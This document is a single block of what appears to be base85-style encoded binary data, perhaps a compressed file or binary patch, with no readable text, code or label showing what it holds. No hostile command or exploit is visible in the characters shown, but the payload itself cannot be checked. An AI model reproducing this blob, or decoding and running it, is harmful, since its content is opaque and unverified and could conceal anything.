zl}8-0I#bZVgn{r<(T`X_wf+t~>4n0#&SI(r5n^zw$sz;Al%N5)_N!s*8gX;XgVy9z zKL7-i{0+MC7-u6Fr=>QAipK4X@ZT-U7UwEwqZIUEBUF(4rt)?0rzD1L@dc73y13L~ zlOHBeChe^?5$Sw!iOpbM;%svo?PHgp2r_0F1HS~&#%*7+jsFwclD2}gJB%W}usV4X z99oYJlcf@g*`h2NOYy7uP}l;e@;U@7(3S*H@i}^vB&&)=pb@6=8dEWF>TR$tA-)y? zfm|@Ew_?+fn?=|d@S9|Go_mhxA7@NoJ6vi{Y2xT z%k&&?6|ug6S;*YxPF*>h=&bxyf}`WFH|IRd9pH)}&{z~t7qUMP)|MNRa2eQO+B?CZ zpg2$LHGFtb@T>EBB0@gK>4c~J!HKnK9Ao|Dugro$mz#1p`xvBD51DR^s0+m+oqx%9 zVVELBVmF_@`FPls{0-j%wd#p~n5BANE!joNwv=>X@puANiMZHy7n?E%vk!ta0rI{Z zRBnX*NxdN=wWtOX(N*}u-E4#IlA&AW$x&JUHZeNi#Dinez9(7uFxQY4L|a@=ogOg6 zi=buPO)PpLiuE$UhPd+`twC9R{eqr6eZTT=u2XKUH;Aqe$aqumz9Qv&6Lp*erPgXH zBeItUJ>#pV+1!cTl!t2*NvGK|as8P)6V0Z3sy43W(^~+#szQgR09+wyozyJj(#E&C z$R9Euph9x6K1&2lGT~0K8G6PMFpp`ul=5QH67zVlr^lvogf^=mW%Jte6>e17AomAO zzBbGT45b?M@bcGmNHk>X{Q21+j^9A(>iv)1UcJ%r5&@_YB5XF(&(QkiAw`yB`^D4n zK^bXqKxOVS3#b*gGwki7NSC{F<)|*IV+BJD-;os&3HR{;AgNRxtMc z;apVw)6B9;Ek?-Dis_?8KgLls6+G~c;fK%vO1e41+EfTqt2ZDEE6<$|WGt^N(hbzO z9$}!uc9%9#pp#|(&DS43pJEAE$cQZ{&w!cwP?u!aKP?TSmc9<}n*SA43U*^VAso zv-qS~zFzQS6>i!g!XFRR1?sgI9|0-|ocG`spb-Bp7z$#*d&A)jI~Z@YO@9X|J}GiB z6qk0QC>#NRiy-3^k^FW@DFZZSB+lnyEGtmN(K2X4B?ho#_~U{z$I^jN5a)YHL5j~p zlEo`lkRSnMY!@eF0FtvK!}$`HK9X2Sw_z4!YXjtUQ6ztPf*qXk#$p0{%^m8)xYEsd z7?B4301PQWF0dx?VMLw^C55pif!D*ryOILWG{A#N;C4^2n`ZkUA?A#DTQrHu8FW1y zb?F?7OzMisfziN-R0^=9h+2(J0kNzzqG)+cNf+8V!}L*^%;~TIh|Zba$+6vtD0wo+ZkR27G&%h$+;~#- z8s+NMjB0S~kF>;ZayJ4H8w$9D%%Uj_|7n1{ zt18YF3E)-}zk8O3_Cgt1K+x2XMLU!c0214t#q%>8?Cc;B3E&?Ui-6@QoEIW>kXazq zCD}scgUXAyA82{mEbuz@B|)nG1Pdxpq$mdTz{5P04RkSEAlY5#r;sMUgWkKNMh0_K zx5(4g;8|$&Si%)dc{B(WZx-p0t%4MmC9{)2SH1_m5xNBf-mYPbx4jA0v`5(!sn}Z} zaZ4xy;Tj$YwE>`w0|bNfQG_WDJw_0Qq9JM<%#Vp~wFN16DsT-X!H`LaLC=%w+mqHOO-n;(00FpbiSeZ-bvrAl;sczi#FrHTDRI_pNIFd^qg;l}? z$`j8TL1nflov#fg=dfWpkVViFp&2KY0OzwB5=Z&!6RH0>e zCNbffqoc|JBeqOxcEU`JgdC8)5JayMmA?)u!K!^EAh8wDGvk>+5KLFL0sT6!;|kWS zjqksXnn?F&JD)2ng4jFUnSQs|3BnvszZ3w;;micU%fFH;xZ!t4Agv@+Z-iw$Tg$2w}{4LrGlF(x0^r3#j7o122XA4kzJx$H=pbc zrS$9FZqqm}T?nyZz_`KQqc_HJyu+F32h&^Wu2?Nq+vZ6W=hIsOKN|C^HgxaE_2!y) zuO0TR=JJKdcVf&_tpq4m>9QetaLArt4cBK8ZlO=?9WUyQmPbrbGYwjWv+!ri71e47 zo>TQgyq{onJ?)es6hf2SfjQ-Xc|Vo&4Y%>yJ?bZ*T;#RN^4yAkbkV?#t=?-y^hm%szp6N*RJhMgRSZ`KZ}DtFif4DUD(&<=O8#6v&s z6nb$y6V3#L+y*2%2U%7l#at08Br=H!gGDLwlLNxAmPKETl(+quz!9Vxz=*MJyK$QZpL3i&U2O^4{MwI$jSoMyA$X}pnJ@T(yD!V z7c1Ss*EJK5nxRIwa}RTS<7awO4m&w?@}~Q5X$~6Ai-l`)XxC+ z0i|~1`Hh%qGSc1kbzay^4mMi^Kw3P44dbXf7K2?^yPCRMdAx6^PtNibjk_iT%zKl9EShF^PWdMp*{`t_f8}x0%X#Oa1+{T-Pi;vexf?QG zdNVbmPef=trEDmFL^}6U4k`?1*&k40V7DhWYjz%W(9^PltTN9kljispf)&okexfrS zt+Q3fW$MBZztujejum#$y+xT_pa`VRb)ZK>%c^lb#?a!M#HHT3m5{Ehgw3TF+5LSV zSEloq1g|bGJc4F4lC*u%PYxK*lLqW0O5|YzWF9V$hWAqBT9NKr?OSPb1?A5(%6;sYu_uH=J{G{&kZJii za5ajve1p~vqN=0*qIwp(Sm(*>A+_iIo7qVqar0|;4 zD!aq#H&uDPMcUV^=wIgkXLE~ZSDyOedewFxFG5rH=Jeeg1Da5m7i`1}*4InBW(py6 znyzNq+tPjlu;6;hcrHCyowv?$u-CNuc~;%`x8^r7yCj#F->y%WisQbO*8{N2@2jKt z&Kl17N*eck2`=f zc#?Yf+Y}N$Qv&%PAI#)F~j659QYp9gf5coND?*rpHU zTBgSv_ofZrYuH;ePjTt8YfH3dFBd<=g$(e&!ycI21o{u#l;F zHu?Nz)yyW8TmF=_e(d34KYPp>tFB}V;uT$$zo#?LwGK1(%TWxsHA+S|*P1S8I{4xz z9~^C5HHN!@qPzPaGC2!Xe8sPi4wiLPs49&nahw=)J~k3unp~qsv7v>$o>XYk)X1(n z1xU)x0zyy=SdW+0rYrN=ll)6-T-#Ijpnsxbc>NEFDh=m;PNgkGSxcT-e@RxX#a+j2 z_?g&Xqdwo`T5nohbRIoZqTN9+&9S^PnN=yKHsM@asd{e=56hqr@|28_mXzs1oHr?? zh&Lyv+RmreNU=ncMiknGHed>$N}Ej8N+#B))mYv&UA}mRP%tA5IlP@BC=C{$4QR8u zHotyH#t2KP?2>N0(I~Edm!u(8X7$#P=cT2F8N&sH|q5P0|NtW8SWjc94d{#a77mrI3k242~-JmY0m^u^K!`wij8J6n)e17hT%cR_Lv#>2jZFfGDUWA&iNTdSj-Eve{HL&^ zUvl*?i&MWY%okcTnwpgzbDQP`{mqQk8@DC+a9aXeCw6$MHmKmb2CK#r8E1eQ?A(? zu5o$Mc(V?z&V?f*&AWp|=&328B9oT?=DTdlnbo^g-+Q@@4n>Xr-TpD2$53-Go4RH7 zpwh>!={xzk)ywMrfj5q#P50i-@OqDqjYTmUwLKDExv>38I=o(TD>(n1B=z@PqAhTm zzRN&OgDdSyAKZgY4q%J|)-;BsheE|A(1lO%B8Yt<6kLn^-?||9a<2DGjgvr5_^ZT& z9&eO5Lk#5(q>;bK>NTPW3ge%%KfqOSM|8dpN9q&!NsXgG!*+_ zncReBA9-lvs0tuTUx6&!tDj=c$ms zGC9NRh@E2z?ME%ZbUg{f|8fN%`FoJ@@>P|olu-!zxN8ja=yXgNfJf_cibr)+*N70V{j-_t>RjbBcex>=-0BC(6xc^9BcD}H{8LvWp3er%MEFAn`Gl?sNHvT%BXFw*zk|PMegRq_hTu(XcbV`{5DXLh!i23u|gUZ6i@DsSTRy zpG{5J)60M8L>%j202YLC35-5?*05HbVdm|#lslKY)wQnCwL|7DEn%XxtM*aFR-6I{ z?js0c&S!DflR1se28o~DZ^v7F34h4{2PU{x9mGD?XWo3U_F9{(v#a})PFG4}AD8&% zyD|~~stbhr>yNfARfd(?`8;cxJ^wJ9t6D$z+Nyh;E%EA?NM=`Uq-W7BuVH_^hh3q5 z6V9CWD@oz))|a|l@^A+E*PK2=?5p0RAcSxh)&HBsIBeKc^KUVCn9+^ok4 zSt0eG5N&|3+F^fIKeOWfOM2O7}Oy>9pL+8=RVqE&uMJjmlKIAA3%^GAv8i7siLE zoIyE#Uv_f>lV`}2=TAh~16?y{wzDU1hWc{DGq+M6n!7iv!!cAvuAT8rZq)uB}7k$>Nb#EmsC6#;Q+(j6gzBerML)V6oTbQ0l zs86Dk(^s*JDHDO+DH%3SG8aWpS3;+cshgctjPJK2lU(4Ht$$(C0fw)Wr^8qy$(yRr z+Nt!sfShkj!0pyvxOxLAwdCX8oy)=Fee^$?`S9CXDAh3rGk^Mq{C(QK&L!6rA6n&? z09$46ys^*2)Vu3jR|*4Z^q`Yx6%P9g-&JOfL*awhd-qsKc(fhPclg}P{m|w1nWv6F znr;ss8H-M191BmW-JHDAF8^Emm6V$1d*+04y#IUaLVqCboDS=$!LSy>8>Y=%{QH%E zD1TNDNekT%sV0Y-J-_&9n-71w_+j*j(qz$AxG47iE9Ru{+oPXs0)M`J`|sEMxAY$s z*9Cv{^!(a+dX|2$EV6R0htFHH3f-G;)-&7I{nHZv+y3I2ee6!B=Gmg=$;3ruUQbE` zp0-pI)rC3oy+}2Pp`bwvY8DAB;Vqvre`%l?4C>Cwlr zi{XkSN{E-Bq2U^^OK7nVln`1aBrQ7r0gwnV(eln3bi1oON#7ipI?=92 z5Aqv!YamiJxd+t;vBEGSh(^Qse(liOSROC9gZ#Z>N4KQS|It^e2=aQu*GyU6nsMWH~$>!B@-h74Qj zHRReF*G5RFqm{7m%BRWEO!~DA=Cgew()40UCLPUpo~KHtPA~bsD?bn3{lQr*^nHu6 zJWq4w--+zqSalhX((?yq3ff!&Xzses_T#U-mJD^y?2TrQfD(Rr`emon7cP~^v$+MA zNF4^&0khTcnaE$i4%WCllC{L5`>_#X%*pJO0VktN>ufr=dqtpN5c46KUS*w3ia630 zTQ$o;H%8Daqf525xTw>dpU{Shk?4dn++1QI03I2^^&$Wt&AAO5gp_4BS160QX#RLQ z)lz{-5NkQXXYHn-lSKE^jYO{sGcZq8I>8M@T3OG(rQ-qu1~Tk<$*!6D_bLk+)YuHen%QA!ZtI87CcvrO3TvH55shL}{m8l$CUpEqD zO%+D*LSh?>Wzm?@u=Ko#;ee1=NOPW#CWxBMt zZL^Fz`|T)_28ZtlH~?t7!lmYXS(7TMQkxyZo>E)#YJnbqTAK8WAmM0UE^2fOeS z>);wUU-7i?9s#$-y&-nBW@=#_Zen=#e@VlVFaE~j2I$4+IG?-xb+z`H$g)t98SOtZ zK0k(<6WQ*fx+X|E*DTB2KPjfLdv^lMr!WC$Iw#a$&Y>^eGDw-9pK+_^l?@NHyFcaE zp;Dy2GK&cFhtTpp!C4e=%nV&2hz9~Eg;zS%V58h7@>3~ha0M~iaBukm9w zhE1mq6Uirgf)CSIKUt4VC0WuYQCr>FNaeG-x<UC3A+Jg_ul{9^~>?KgU=1-h>?dJoiiwuP%wpua$5OwJcD}j{LUmFEE4?=$@}l; zk|j$&&ATyX0JD~PIrP_N#ZxZoj@ED8_^zsRXMbm+ox=Z}blwJnzW@4mb_Sy*!%zmj z0OtV_Z9)dvMthN}2VqbG86j%WM{Rcy&OS*-DvkEh2OUJB3R@RxCo zQlAXzO7%Z={^4xL%CD^&o+g*bi~(p(4u&P`$@lb0aGsWc&fz_ruV2?^8hN(lkBO1y zyc}!r@ZRv4UMF1G%~38Mi;kEw{Dou(G+VZ^QrOaAs^6juPNiztWSks?iunvLXHOO! zBnOE(@nIKHBjK>uj~Y$Ff)ijJkyh2Rl4es6CR~CBO3<;@3NKgWfE7%08Ifzl2Xidh2_lx!N{Xx z>m?rQefH$LdY;Hr=Sr5oJD1|!nE8cRMrkC*EmAed$UJbUMUyjGwL=s=kc$x`j49)! zgvwFm_gDpBJpJek)rGwZy-#jaPH|%CEZ)M04_aHUrtFu2&Uv5jZfF$QJAB(7UfQUCv@ErAMbr+jz;!@1+&-QaL8J#Sf$Tj(2ZF3qj1T);n z$lhK;rB#eqv}~lMmQCxNuz|nuZ<08?ia#l3TW7jv5o9lFXK36ch^RrQN7n7z*Uk~L z)K*UE2VcBDzV-N@BuOy)R~Pz8p?S9G(gsIcKUMiNZ#gNF7=3s;&DCvexDz5wc^oYy zbBIl7_*|Bu%&!;Im_T(j6h=}S{3#ui;P3F6oe$qGXWIA_Yw-aGYZJuVY9(Gg`mFmR zYsl>0Aw0u9S$I8bC7c#Y7eO#c2g#q09|0wTU-hUf2awE<|`q(*Z(tqnbzoYztX@@XGy9bjCiBOW46 z=^qm|jIY~GYliwfWiuq{GzC@}pY-9~7N;&u85$Sa38gjY?1;?gy!TJSrjpmoWImGb z>m3j>=<%Qn7uS0wGnv|JgC6H}#|>53(<1K4ddjdAp@%eKesNQKHo=BtjkjX3)(Vw` zmmLefl+otr>)X;l(CF@;iqAhjsJt<7stb6}v<=i%a%XelHRq1CU=M_3T!kf%e!iji zaYDepovtRo=__kV^Nhu-8=Hii6*4A4>>pQF_!!zVKgE|N=jJVZI^+G-%v4`CH0_2q zvy;kQSQnBIR5N}XdjHw{clR7FXN;H6!@B6CBjt}BhC>-lk<3>>=j%(0;Jigs_LMNL z>-Sp!aBCfx3B=IklSH$c{%8PYh7H->y>+_~%^5fxelU51Z=esV9J(HUP=oe}?wtP> z`g7b$@8V)!8Jdxr|DVXO(Z_UumJrt!_!?dn-s6F5M>v5{0<5q+KbQ7sZY;h2mFk zo$SLOIZFrvUpSus&R?2Id-94)>r@jF6YAM9GyN#^B@=)3{LI;i6T_9?N99?IUxODW z+!1ecS*bQ!%h7lRSgqnvlkEh2bARUFRr32^K&_xFQB2@GIJW z`dGO#OTO91k_QIaR2Gtc_9o1RJSp#kv7J5(sOu~A{-!~q)=3$ z)qO}#BXiKg($>WqZFG3!kymTP&B_Rrti45K_>=EO>5L}1Ysy{*K%W)JGhl|G2sDsb zWiyw7Uv?L8PfU(Y=uU{I5oR~jofr=vH9gSP1#zBdQO4W>fjvsG@weq26^(^@m6vb2 zM6f*U902S~RAq(rXw3nX889grE_A_S!#}#O+2CDdB)hkf8kM1!mD1$#BMCX{t`p5t zYg6YRF@ICQ_zdIcI=0n)Ui}C=t+s%+=4*|9mmDJP?1yYxGfn!eu5eg9{;40=S;1Eu z1&Q{8lD!wfF!jv<*p?d??*W{BC24;XJ{_SBtg3IvsBf;qPurgI%4+)F;8kmI^n9yG z{1DA{XaTlg5GTh|^(l&zftskmC@^FpgU=}w+H`v=OicP-3CZ<>Ut%C071<5A^xw*- zsF@_Nk6q{>N&Gif%M9Q@fGbobDF&tjXIQ!Ov8k%q5C(H`)do;sPStVE7U9itr&QN5 zLN`4HB#`t3NrsF?oD#CY6-=`29o_WL7bI7R!ORBFvvh}=0Y#!iZMk7fsXGdyqQ+8P zGJ`JlX3)w}+2f#lV;Mf#(EY&7yYrc$D$wI*RfHU=X2VVj>xkL95FQSh3@R$zGSz<< zt>8r3{&B%B7P5q8-fhp!8^Z?t&U`qJuxX&W-_B@*!)9Zc(|wrtTcOAj8wy=3G^-eu zEvS27KlS0*G9IRg#yU7csr2 zax0>;hN$6@NN!FI8$Z|$S)_*<<4rg<1z#>`)+i4seytrLiw4DmV9s8wr7N^Dr|QZu zP@ZT-rsSILCF;${^Et{qDS#|48kt;bByoW`vk$fohvSe zRVbYGRbre20$(R^nd_(6u|oaVC`+#a4qjC+upp!U{2~ zz#}8J8CcFa{&dD7z9b{2;B>&Vlu%@s4tO(LD>Up^VKIN0P8;>EGy*3a)jKY1wzvxS z846Ke$P{M9;H`fYWaT#?)B2-PqYwCgwS-da%VCOEz#|l3AiCx`)Yo|Xl+obK^?9)> zOWjuf?r*l-6l#kLZ^thv-qOb)vDL8Szi)*ry%UL^TO@V4gI4QPnzn# zN}xU&l$~ioCO4cnGY+YF!5sLaSPXI}BhkKiT_^DMY%6A`AX*Z#HHJR@22{KdB3vzU z#?X3Ht6&YlmtMrs2YBWJmc@MKT#XVCg2NViB@XcspZ^v%G+Stm->H58FU`5z5og~q z81E!buBqF)rsJ+*+20W`QJ~%HFt}(ic?H44_yTp*@i!TI%yHxC4%sP66dpS_Om`gAL zIkGYG(0sX<`VzTQO%;k>?7Wj({yhk0Z^x!>3@KN4ud_7C?c~QJL0+0_p<1A~rN8oz zp{y6jIVaunPMIlJd!gF){jF|E5BvN@{{1^~Uv}^nT-9+j{IhHQ^0WMM=>wtm9qtdh z^!$3P;~Rjm65MXTGABa4q5rI=?ay5YVIo{#0xEa2zhMF~9l+&?j6JMt+KEz@tCCGLS-=Ko;R4sFxRYP)PX6P`rk2{5j@;E! zy+b1LP3X>%_cx-~gQMeVc!hhL{*-mB1rFJ4=fCT(=rv~ZAvQ{`OmuimNF{_ZU`Ce> zFKK)AkJCoTUztEQ=H&`^3OVqF1-FowdQc*bRM`HfI*8AU2Kfp2Mp>uHyrE({kMm~Z zlRNDMv#~tM*1v2Mp*2I5#x_0=Ipqe3(PS?!!M#;?ute7%-04p8+pzx zO*Rc#gAtPRgmiy>8Zh|{{>C=5{+9s{rB(?dX!RvOvu;G4Yd{SahfJKeudC^P*LxXX3v@KW zG+}{>{@r;qgi7x!mnnE%=-Oi9WZ73C+!TK7bZI%ZoWliFmYsN}p?-b^{GMmU{@((X z=hBPaI+gzxcAt;+Og;SX-$yAT2)CIV^qDu&od107hHg^t)}C_8zw<7}(0wTyVV=43 zUi!ffOLD|HggMU7eCqwux=GSUSu+dR^dqYPmgDCaf7|Jc=bID1CMu{CX5{2%fYhXx7arHgu0sAv zZn8n1zt{X5`EI&1ZDqS|8b)+#AQ&^J(!O44hY&m#vAKI)3-a-Z&ljm;X)uTfPDbapB;o zyx`KmYW#K0uXjp8#hGtDTvn>zHrb}T2nulf7PDbIF(e9a>oaXIk2 zD6#kFwIF))WzNg3U5*VQ!Smvdv<+U+LnqeMoiZodo~O)+DaT`G=jZ!2ODH55@_0p8 zb0(4@Vs`%o`1&&HdeGxf%Z%SqxlXiYI4`Nt#Tc6HtZNWUCZs|0?33T7M@1XH?iZUW z0O5tH_7#>VJ2-qe;?P{j znw5gNfyMx_4h^gq!Qy7z>4u z4Sip-xyY~Sc_o<8q7Ys z>3mwxZ5-kC&&BF-+(GOUxfqJ?*0A@g8c~TBMp{IHE@rDpo@cvL!>uot7|(t5sht=* zBfT>;NYOJ3LrCeT!F6g%g+|9Ne5K^*b-n$4#%jOTn_i8#MH(yNZ$smkCy13|KgOso z$Tpkn^9`=XR`Hf8)DWh|_oO)#(+TF>VhcVRrmmF=N?b_}mtR|arF}5_5n#D1ZNsHY zF^bxR7tLPv-)OP9{+R0hw7Jq=;+)e{UB#=enXW%2WR&dc&2C)!Y++@ZJEUmu*?R3~ zUHpTV$+TyMvGxG6qS({6|bUp4yVrElsI5mAGEaIuY*ydW&1*h+8@iw>GT{Evg zQMr|U+xk6U_}?vkjao*Fh2QZ3jEsZvoj6B8te`LzWk;h-gnr@pqUV5-8)V(zJ|0Ds;o0t9f7q;H|KijhK z+kU|Lzhufy?jN@gKEneyn)^5x$E}+}j_7;W#$VJewtB6N=LhZQX#{?{CyXbP3907) z?at;Kw>7K|#4t4_vN05Dc+{~oXZ>BXavF~NAEK_k>1&i9&*K4IC*l@gA@ITePkYPG zhlU$$be{K{!{7+CRd)z|zUn+hrp#x`{axjC9ql@=*>B#ro~P4QoueIXKX&GtUe(=w zrdSUk5a_efmGxJAY7bTKSY}#x{-GoRG_DB_D#Sl0SlH&;q@23H zWAB5+5s7!&S!7|4f1@8x!}kzwD^Iu|8aQbDXdXyX5qPd`?q3oX%?G2WZ&+4HnoXaE zwZFK>K@IP0Wge(u=F{LJ|>WOcpIkZ?lRUDChYfMQ3 zd=q4HmTn2b5HP&Hv?J1&R{3x;^_AKWGx4u^50FDini*~6uLUxHSNf40I9zYmXID~K zLFly4Q*}jwD_=`UdPXVgr^;GHcc<1?~X;n3>93v?m4--4R@qFr5 z&E69>4X(ZBzU|f#k>m%AvEm*QoqHX-E+0J0X6UK!wb84h`)J;8zD=^5ZQ1$O(-=sz z+jT?FmIz9((;W2E_K3*#eb=HP(EomM{_+6(?U1?7B)ppJAgqh?2u4kIx}>>3SyD7C z)jBylfP32Bi=dS~&|(zLWO_QG{wslHQtnxsflS9{KaJcM*%wW(OqA%Db@3xoy|ur- z-|)M5x9|KKoKt1*#|JU*UGEwG3AJi_|}wOXI?h_7*Xj@@#Fq(2Rn)pix3m_zVIBOAHe=E}9~UZKBbha9DT zZ&h-wPpf?NSW8q|Tw3ecog=5%_uZ0dO5FJ*MB}>Mt8a?6`pB}Jf8%GsF;9vf>!*7mVQQtrzV^5k+CH-8{dc|-(~-PkVt#b$5QDPDe09=*Ni&|4_l+xY=Flvu9st~ z4x(rO7Cj9jgArmLi~rd*5-(jKF#l_dZ>&wLVP0ss!^urok>wl59&{OJ(Ov|d1rFzr ze7`R*GpghCS8-6}d2P({rY=KPZzS(vAB)`0Vy4!Z#=SrWPN&)@iXC!K{k;wo)Z=3h zXME^~-=Pz|5bPFd<;~ssH-eO7OL%{cj%c19J|$X>jYG_%TAW9u7?V-~wy{w?)uUum zLaC6b;h2%#QA*Zisfg0pm}$^aDw(!SOy6+aBIhWr(xgnnW^CNL<0!o$p-k$w;e_47 zQAXQjnT-F~gyZQ^W-o2IY_#E|3+Hjxs7bke=Gf#d)#L1$gmQ%n!zp*WdrM zse3`klv8bm@`&NIPtI}Prb&hBhq3909mn|x2^Ew*_*X#-#|0;o6`H@s&R&I{9v8ys zD)A_znQ+eUWb~ynO zb>onpT^d*O3QSjdjQ*ilMD{)&r}VN<&zLb1xA~o4Q@QujBX?3R?@EQAhcGlu7<+(Ze^8PJ;G!y$EMer{zL+NC!l z&RV!i_jfN`hZGJDuG9$~5>Yx3&>z=ZYY7i?VVkfWio+p;>EI}8d)waP(#EWzI2Xx| z@aQfgf4*xB652_g=KaYp(6CEj4u-LgUTN_)ylZ5;XqQSs(!hwJT^9xt{7tA%Yc>m- z_GgaW%0BD!XBT8{aJ`v}gxTO2Ki2r%ktA`cKWIh6sidfVXe_u(+u|<485|@@U&nvI z3NMXH(K`VQChr@jSP1tY(Ij(`@raY5XFgHX5d+~L+5{^5E_u@||2u{CaL-7G(oDeV z-#x&cO-Z4PxmLdxSQjT=Iw3%s>K%^{fz!mZe5t&<+*|LbJKDre4XDReJt7~MQpwpK zv}9j{pa-hW4I525{9MNYk8|6Fr@UuS{dW2NKNl`6*O;EKC-F1g{51W@Zx+J^u+y^f zONyW|22Q?7yDL-z?45*n-Pjg}kCnV`HTdFC5?pV)s zByr;dmLu=0#(&+jwWEndq{wJ!S)08k)#JX?W~*x-sGU5Sd2~!y6p7cQ34F~*K1nVQ zZ1LCJZS2NZ3?v4xKYd1We#&!-f(4#!`_q5RSzbYso_6V&_x_oFe&Hy1>d!G9WB3Rk z3|)O2ov8oH`g=<0`~&0pgVV&GbiD3U#6FPIUTqOCwk3PX~v?o{ERii?Lt}8arGy04easHmE)Uj<1Mrha;-qeX2gp*#fpG9jk$=IZHjWl_+(_lIdc4% za?HToc^zWh)QOVgXu|7JMaKXHikRrL88sVVeUk#j;jXCQk{onJzxrFP#suUQS*m)O z+b5eJRGMdFt;D`x)jI$x+Dv**;tQ{s6WKi?i=t1^i63s*I2w@9gr~@U5YZM-KQALr z0>l)PndW^KY}xbuk}ECZbiCtKSEBjQ_dKxo?28fwX0G1MOeqXYKzRU+ zfF}Y)fDjpIMLl--4Ph~i3dB@qgD|?o^lRdb3bN43ZD`mQ5+MQM>5xS%Bfl4*-Ww!< z1x%6Y4*a&hD#7Q)9W-BOUcDj{w-E z8OR*QSg4Xya5blJ4C}4p6UpYMi%Gj<>mk09Dw3YPY@G&#rF+fi{JotEVi78`9*tE{ zV=PFD0qzXt{uaAaWthfExg+t)F`uCVymJbE=Ygwv@3yeh^Ne%9^FGbzUu>j8pJ8)Q zP)=c$hwu+SurC+Yn1yN#5FIT*t$+k514YU{$p&uf7j}J3{mF5sb2PMcF6V^dry zg(bOn-bR%~{=HRzR{^QusX$S@;=xli0WLL@v&x!rQyNJfc$U)Jzw*cyd3!Df)mP~X`1@?ET{uvqcZ!H0m0Wo53_I&6B zB}^d}fzB|Xj{!w45}LU;_%Kcs2R)ymMUkoNykIpsP&KKVtEd{_uMrHR0kOb&T~9%; zxX&Wh7byC)a-jG$tYXfxM?bDx^`7iX?rCIoZ*m-bs-Ww1BbP-Ua(*<*yk~M z#+>qw(TC?r%|^M_d@SJdLep|blq9i`IV-y;2Ye_|XI!120N?PPhP5%lw&FBfgfMLN27I?u$w;@r-5n&!GPz}gjRHFhk%i{Kvu26j5B zyt_Jf{2ad$QRL@@yC&b_d6&DtjSRH@dIJW}s%;rFN=VIPE%Y zI{>-s06)@&jN}i2xj6NUC9qI_ONG>%8L}agTj4%eGTscqLkrS#+fk2UXXByYxdSjM z2j#AK?3SPW0TB^Kg=)ZDBO;~OKt}4pqS4&be+cRF;8{~TtD{1EccI}i1D zl_68!OGCyyuj|W_c@EntN$a1#Q!(Di`QH;MAF)|drFwTiT$*B(^LmrCge}xXxKE~+ z*+JK#S32qQ#l|0^LT32n-sJNj^n0)7OGBo^3+-JYPJ2<}vV$HWxdKIVT#c_|usIGG zQ0z;eP-Chdf0>|M6?;dPVld2>h`jBEBsO*5RcXF(iggP}pgk*UFz-km_k`9opoPv^ z>PCPx3nWQ1{?`c!NC?ZZSOSD)eB--w&L4A~n%>hXewS|6z*=fhSt2x-DQ6%7=M{SA z6y^5S-p1AQI{)MXO3(mZ{t#bn@5031b zh}`=mOPWHNTPWa)q-4KL70)67@VxAoP+rD>P-Dk4n@#G*uhH~;(7irE^J-cA7k>WO z!{qR||FFosEw#q=lZYiu<5$G%&8viM(XdW~gEfl6+U*n8x1K}dC5z8JLo&r#>@}J9 zAFn2CoBt3lM+Uq;VPivK(&S7uKgunB7jQ-eJE44fcY(v*J2ZRe!a#?ujhuo`M^x-1 znXm2p5OQgA`4j)E?%k>Xb~n3GZ$e>jKJ8B??M`*?j?*(v@;(6@_xJ1fzd3#bl3$GO z?`|hS1RTPT8!R`4icKBY3RvV@ct zmmJ$9n;(6$6L>|D_k79mkCA{sj%huJJZn7U>^XGOIR+aKIUd8*dYDv~52;=sW6bH4 z3y-<@=w=`~QB??Wwn6LszK$|Qin%I&k@3o7XyE{TnGA`N0n)}6WZolpU;)Zu&hJ2E z($CwEVPt%hy7#B9Pte!I&L&3$^6>$W+)uimRZ(*b)eBz&F0$Quyc)^ZdG9h5{fdcA zhB4|Hq}mN#58McQ#zMEuNVt>P}X$qV?V|Va;#^+(KxymtUJ%gj?Qg3{C<091-D=GnNlUIyrzN z40Mu(jqRF85ApgDDAsOTi_#d~42kpB>ur$mcoO&RpGzFxw}BV!{&@}yL+%p?KEH}7!4vp!A{OYg zg2S{{+IxpG^$@Jib|NGo7t>PV=isL@NRF#+T&q$fGq$7)ZVHX^i|~ zqh8pO>Ck)Br1dM_3wQi zNz@5OtK4Z1Fk+RCl~x^-3J|)AyzlA$67+`QR^q#Fb4+Iq37NZWN}N8j7A9OMW|@I2 zj&UGM4ZYCs0B`Ucb_;p?63n3D{aI=He~NmNssla_ekNdb>e0xdm)O{Njddh8h8OPmKnSAtzipNYQD$0@>Y^}p&K+$V#S z#}xU8DG9mO8QuNImAOTLIDWT*G`l+bad%i>cdk__1$~`kcH*aDJf|wadxu)x!xw^8@hym1;2$#N5%w>YuM7K-eBKf3LB&B6fwrYf(c!n6fOS#VAJ1NX!*}k@b()DrCD$AO@6@ zFju>~`GeV~kla32zKAQ2oZWs{f=P73Jh())`R_SI&oW-49Pw#h1yq1mhb@u8XzLky>9?a;WGuT?{ zA||%Q^Sukral$Z5_ox;1nkPO!8u}PZ*7*>0+ehxYORzCAPO@NGGDH<%N8li9L_>w= z{j8fZN)6p%)Rc_k$N3?hFUS2dOzZxvTxhU)WtZV^u4jSg6!N(gnQ_I28=UvYO!XCM z04IBJz2riiPDQDv9_>gmhVNOO*e)4o!^7a!{rnZBhM5>LTfvj(qRl7Md-FQRqI6Q< z3&o}u9<#gu8l>Y>Tu%)OYhPugf29{P5u|)2m$A9gPcFAe+INf| z-kivFvAOj?a*yuT}4+>9{1y+ZWR|*gWqNYtgO})_`h|kG;gb|m6y|LwF2>EwVEPMG-haJA9{pPQ;9rQxA zm}QNNieW5*^E}B{C~wMDI>#d0)c+Lo$jyMfWYDcxB?4`ATxM`$4aK$+imxc&aW;(C z=qPJmM=M-O!7#e{u*@0;J-sJNglAH;!z2Cf2rEhOSgW+ye%O6(KAVh@e?9tu#=Ug@ zYLCpAWG~lJnY;9_{BqjSSVI=yyFw-+fgkcX>f8-;$!XOhi^ZJ)tOC5}fzyt~qNPSIS8_Ku=ynBE675{f;y45b+!2t;3y1oQV zb}1W|OXqRQe!RpnRZp&Cz7^uDHfIj{3A(iZk>=(mZ~^xd+M{{f@9q+GH(JHs%%av$ z5S`zvuhJwUySo7iUYdIv{=p8DFkanq^7@G9tNH7woOZL57mr=Hed+oq%hEI7 zmNf55-1#u`W;DF!ai^f;i>veVGEd%qotLnD{DHl4;H&5E{C<+bC$CKRjJ6l|4^j;1 z*IXBVb-ep~kkcLWnbG`rH4Jt1g6{s7-nFRFrwhkrKmVe^;Qwn0j13S4 zG4iB`Px=2}G1Xsl{|i%1;7L8lRN+o2o^woHm-7E$s>lyKOp3J|S4liK<5{{v zLwr~o@CVLkH;VHAe_^WMn)s9JVIOvlU%o~EDINRvDatZfqWRa8u-4|^Kh(X|_e!(i z8sH0oWD1zSl1$kzP(IhkMRsrJ9g#iLHMsik9&~cHucoU5Z#)OPcsv8)>brnT{?(mq 